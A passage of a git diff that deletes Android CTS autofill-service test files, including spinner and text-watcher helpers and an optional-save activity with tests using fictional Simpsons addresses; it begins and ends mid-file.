-            .that(set).isTrue();
-        final int actual = radioGroup.getCheckedRadioButtonId();
-        assertWithMessage("Wrong auto-fill value on RadioGroup %s", name)
-            .that(actual).isEqualTo(expected);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java
deleted file mode 100644
index 5fb5973..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.view.View;
-import android.widget.AdapterView;
-import android.widget.AdapterView.OnItemSelectedListener;
-import android.widget.Spinner;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link OnItemSelectedListener} used to assert an {@link Spinner} was auto-filled properly.
- */
-final class OneTimeSpinnerListener implements OnItemSelectedListener {
-    private final String name;
-    private final CountDownLatch latch = new CountDownLatch(1);
-    private final Spinner spinner;
-    private final int expected;
-
-    OneTimeSpinnerListener(String name, Spinner spinner, int expectedAutoFilledValue) {
-        this.name = name;
-        this.spinner = spinner;
-        this.expected = expectedAutoFilledValue;
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on Spinner %s", FILL_TIMEOUT.ms(), name)
-            .that(set).isTrue();
-        final int actual = spinner.getSelectedItemPosition();
-        assertWithMessage("Wrong auto-fill value on Spinner %s", name)
-            .that(actual).isEqualTo(expected);
-    }
-
-    @Override
-    public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
-        latch.countDown();
-    }
-
-    @Override
-    public void onNothingSelected(AdapterView<?> parent) {
-        latch.countDown();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java
deleted file mode 100644
index db20c43..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.text.TextWatcher;
-import android.widget.EditText;
-
-/**
- * Custom {@link TextWatcher} used to assert a {@link EditText} was auto-filled properly.
- */
-final class OneTimeTextWatcher extends MultipleTimesTextWatcher {
-
-    OneTimeTextWatcher(String name, EditText editText, CharSequence expectedAutofillValue) {
-        super(name, 1, editText, expectedAutofillValue);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
deleted file mode 100644
index 561b727..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.EditText;
-
-import androidx.annotation.Nullable;
-
-/**
- * Activity that has the following fields:
- *
- * <ul>
- *   <li>Address 1 EditText (id: address1)
- *   <li>Address 2 EditText (id: address2)
- *   <li>City EditText (id: city)
- *   <li>Favorite Color EditText (id: favorite_color)
- *   <li>Clear Button
- *   <li>SaveButton
- * </ul>
- *
- * <p>It's used to test auto-fill Save when not all fields are required.
- */
-public class OptionalSaveActivity extends AbstractAutoFillActivity {
-
-    static final String ID_ADDRESS1 = "address1";
-    static final String ID_ADDRESS2 = "address2";
-    static final String ID_CITY = "city";
-    static final String ID_FAVORITE_COLOR = "favorite_color";
-
-    EditText mAddress1;
-    EditText mAddress2;
-    EditText mCity;
-    EditText mFavoriteColor;
-    private Button mSaveButton;
-    private Button mClearButton;
-    private FillExpectation mExpectation;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.optional_save_activity);
-
-        mAddress1 = (EditText) findViewById(R.id.address1);
-        mAddress2 = (EditText) findViewById(R.id.address2);
-        mCity = (EditText) findViewById(R.id.city);
-        mFavoriteColor = (EditText) findViewById(R.id.favorite_color);
-        mSaveButton = (Button) findViewById(R.id.save);
-        mClearButton = (Button) findViewById(R.id.clear);
-        mSaveButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                save();
-            }
-        });
-        mClearButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                resetFields();
-            }
-        });
-    }
-
-    /**
-     * Resets the values of the input fields.
-     */
-    private void resetFields() {
-        mAddress1.setText("");
-        mAddress2.setText("");
-        mCity.setText("");
-        mFavoriteColor.setText("");
-    }
-
-    /**
-     * Emulates a save action.
-     */
-    void save() {
-        final Intent intent = new Intent(this, WelcomeActivity.class);
-        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Saved and sounded, please come again!");
-
-        startActivity(intent);
-        finish();
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(@Nullable String address1, @Nullable String address2, @Nullable String city,
-            @Nullable String favColor) {
-        mExpectation = new FillExpectation(address1, address2, city, favColor);
-        if (address1 != null) {
-            mAddress1.addTextChangedListener(mExpectation.address1Watcher);
-        }
-        if (address2 != null) {
-            mAddress2.addTextChangedListener(mExpectation.address2Watcher);
-        }
-        if (city != null) {
-            mCity.addTextChangedListener(mExpectation.cityWatcher);
-        }
-        if (favColor != null) {
-            mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
-        }
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, String, String, String)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        if (mExpectation.address1Watcher != null) {
-            mExpectation.address1Watcher.assertAutoFilled();
-        }
-        if (mExpectation.address2Watcher != null) {
-            mExpectation.address2Watcher.assertAutoFilled();
-        }
-        if (mExpectation.cityWatcher != null) {
-            mExpectation.cityWatcher.assertAutoFilled();
-        }
-        if (mExpectation.favoriteColorWatcher != null) {
-            mExpectation.favoriteColorWatcher.assertAutoFilled();
-        }
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final OneTimeTextWatcher address1Watcher;
-        private final OneTimeTextWatcher address2Watcher;
-        private final OneTimeTextWatcher cityWatcher;
-        private final OneTimeTextWatcher favoriteColorWatcher;
-
-        private FillExpectation(@Nullable String address1, @Nullable String address2,
-                @Nullable String city, @Nullable String favColor) {
-            address1Watcher = address1 == null ? null
-                    : new OneTimeTextWatcher("address1", mAddress1, address1);
-            address2Watcher = address2 == null ? null
-                    : new OneTimeTextWatcher("address2", mAddress2, address2);
-            cityWatcher = city == null ? null : new OneTimeTextWatcher("city", mCity, city);
-            favoriteColorWatcher = favColor == null ? null
-                    : new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
deleted file mode 100644
index fb4f49d..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
+++ /dev/null
@@ -1,768 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS1;
-import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS2;
-import static android.autofillservice.cts.OptionalSaveActivity.ID_CITY;
-import static android.autofillservice.cts.OptionalSaveActivity.ID_FAVORITE_COLOR;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.Test;
-
-/**
- * Test case for an activity that contains 4 fields, but the service is only interested in 2-3 of
- * them for Save:
- *
- * <ul>
- *   <li>Address 1: required
- *   <li>Address 2: required
- *   <li>City: optional
- *   <li>Favorite Color: don't care - LOL
- * </ul>
- */
-@AppModeFull(reason = "Service-specific test")
-public class OptionalSaveActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<OptionalSaveActivity> {
-
-    private static final boolean EXPECT_NO_SAVE_UI = false;
-    private static final boolean EXPECT_SAVE_UI = true;
-
-    private OptionalSaveActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<OptionalSaveActivity> getActivityRule() {
-        return new AutofillActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    /**
-     * Creates a standard builder common to all tests.
-     */
-    private CannedFillResponse.Builder newResponseBuilder() {
-        return new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_CITY)
-                .setOptionalSavableIds(ID_ADDRESS2);
-    }
-
-    @Test
-    public void testNoAutofillSaveAll() throws Exception {
-        noAutofillSaveOnChangeTest(() -> {
-            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-            mActivity.mAddress2.setText("Simpsons House"); // not required
-            mActivity.mCity.setText("Springfield"); // required
-            mActivity.mFavoriteColor.setText("Yellow"); // lol
-        }, (s) -> {
-            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
-            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
-            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
-            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
-        });
-    }
-
-    @Test
-    public void testNoAutofillSaveRequiredOnly() throws Exception {
-        noAutofillSaveOnChangeTest(() -> {
-            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-            mActivity.mCity.setText("Springfield"); // required
-        }, (s) -> {
-            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
-            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "");
-            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
-            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "");
-        });
-    }
-
-    /**
-     * Tests the scenario where the service didn't have any data to autofill, and the user filled
-     * all fields, even the favorite color (LOL).
-     */
-    private void noAutofillSaveOnChangeTest(Runnable changes, Visitor<AssistStructure> assertions)
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(newResponseBuilder().build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Manually fill fields...
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
-
-        // Assert value of fields
-        assertions.visit(saveRequest.structure);
-    }
-
-    @Test
-    public void testNoAutofillFirstRequiredFieldMissing() throws Exception {
-        noAutofillNoChangeNoSaveTest(() -> {
-            // address1 is missing
-            mActivity.mAddress2.setText("Simpsons House"); // not required
-            mActivity.mCity.setText("Springfield"); // required
-            mActivity.mFavoriteColor.setText("Yellow"); // lol
-        });
-    }
-
-    @Test
-    public void testNoAutofillSecondRequiredFieldMissing() throws Exception {
-        noAutofillNoChangeNoSaveTest(() -> {
-            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-            mActivity.mAddress2.setText("Simpsons House"); // not required
-            // city is missing
-            mActivity.mFavoriteColor.setText("Yellow"); // lol
-        });
-    }
-
-    /**
-     * Tests the scenario where the service didn't have any data to autofill, and the user filled
-     * didn't fill all required changes.
-     */
-    private void noAutofillNoChangeNoSaveTest(Runnable changes) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(newResponseBuilder().build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Manually fill fields...
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
-    }
-
-    @Test
-    public void testAutofillAllChangedAllSaveAll() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
-                // Initial dataset
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"),
-                // Changes
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-                    mActivity.mAddress2.setText("Simpsons House"); // not required
-                    mActivity.mCity.setText("Springfield"); // required
-                    mActivity.mFavoriteColor.setText("Yellow"); // lol
-                }, (s) -> {
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
-                            "742 Evergreen Terrace");
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
-                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
-                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
-                });
-    }
-
-    @Test
-    public void testAutofillAllChangedFirstRequiredSaveAll() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
-                // Initial dataset
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"),
-                // Changes
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
-                },
-                // Final state
-                (s) -> {
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
-                            "742 Evergreen Terrace");
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
-                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
-                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
-                });
-    }
-
-    @Test
-    public void testAutofillAllChangedSecondRequiredSaveAll() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
-                // Initial dataset
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"),
-                // Changes
-                () -> {
-                    mActivity.mCity.setText("Springfield"); // required
-                },
-                // Final state
-                (s) -> {
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
-                            "Shelbyville Nuclear Power Plant");
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
-                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
-                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
-                });
-    }
-
-    @Test
-    public void testAutofillAllChangedOptionalSaveAll() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
-                // Initial dataset
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"),
-                // Changes
-                () -> {
-                    mActivity.mAddress2.setText("Simpsons House"); // not required
-                },
-                // Final state
-                (s) -> {
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
-                            "Shelbyville Nuclear Power Plant");
-                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
-                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
-                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
-                });
-    }
-
-    /**
-     * Tests the scenario where the service autofilled the activity but the user changed fields
-     * that triggered Save.
-     */
-    private void autofillAndSaveOnChangeTest(CannedDataset.Builder dataset, Runnable changes,
-            Visitor<AssistStructure> assertions) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(newResponseBuilder()
-                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> { mActivity.mAddress1.requestFocus(); });
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Da Dataset");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Manually fill fields...
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
-
-        // Assert value of fields
-        assertions.visit(saveRequest.structure);
-    }
-
-    @Test
-    public void testAutofillAllChangedIgnored() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
-                    mActivity.mFavoriteColor.setText("Yellow"); // lol
-                });
-    }
-
-    @Test
-    public void testAutofillAllFirstRequiredChangedToEmpty() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
-                    mActivity.mAddress1.setText("");
-                });
-    }
-
-    @Test
-    public void testAutofillAllSecondRequiredChangedToNull() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
-                    mActivity.mCity.setText(null);
-                });
-    }
-
-    @Test
-    public void testAutofillAllFirstRequiredChangedBackToInitialState() throws Exception {
-        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
-                "Shelbyville", "Lemon");
-        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
-                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                .setField(ID_CITY, "Shelbyville")
-                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
-                    mActivity.mAddress1.setText("I'm different");
-                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
-                });
-    }
-
-    /**
-     * Tests the scenario where the service autofilled the activity and the user changed fields,
-     * but it did not triggered Save.
-     */
-    private void autofillNoChangeNoSaveTest(CannedDataset.Builder dataset, Runnable changes)
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(newResponseBuilder()
-                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("Da Dataset");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Manually fill fields...
-        mActivity.syncRunOnUiThread(changes);
-
-        // ...then tap save.
-        mActivity.save();
-
-        // Assert the snack bar is not shown.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_oneDatasetAllRequiredFields()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1, ID_ADDRESS2},
-                null,
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace");
-                    mActivity.mAddress2.setText("Simpsons House");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_oneDatasetRequiredAndOptionalFields()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace");
-                    mActivity.mAddress2.setText("Simpsons House");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_multipleDatasetsDataOnFirst()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace");
-                    mActivity.mAddress2.setText("Simpsons House");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build(),
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SV"))
-                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_multipleDatasetsDataOnSecond()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
-                    mActivity.mAddress2.setText("Shelbyville Bluffs");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build(),
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SV"))
-                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
-                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_requiredOnly()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("742 Evergreen Terrace");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_optionalOnly()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress2.setText("Simpsons House");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_optionalsOnlyNoRequired()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                null,
-                new String[] {ID_ADDRESS2, ID_CITY},
-                () -> {
-                    mActivity.mCity.setText("Springfield");
-                },
-                EXPECT_NO_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .setField(ID_CITY, "Springfield")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testShowSaveUiWhenUserManuallyFilledDifferentValue_requiredOnly()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                new String[] {ID_ADDRESS1},
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
-                },
-                EXPECT_SAVE_UI,
-                new CannedDataset.Builder()
-                    .setPresentation(createPresentation("SF"))
-                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
-                    .setField(ID_ADDRESS2, "Simpsons House")
-                    .build()
-        );
-    }
-
-    @Test
-    public void testShowSaveUiWhenUserManuallyFilledDifferentValue_optionalOnly()
-            throws Exception {
-        saveWhenUserFilledDatasetFields(
-                null,
-                new String[] {ID_ADDRESS2},
-                () -> {
-                    mActivity.mAddress2.setText("Shelbyville Bluffs");
-                },
-                EXPECT_SAVE_UI,
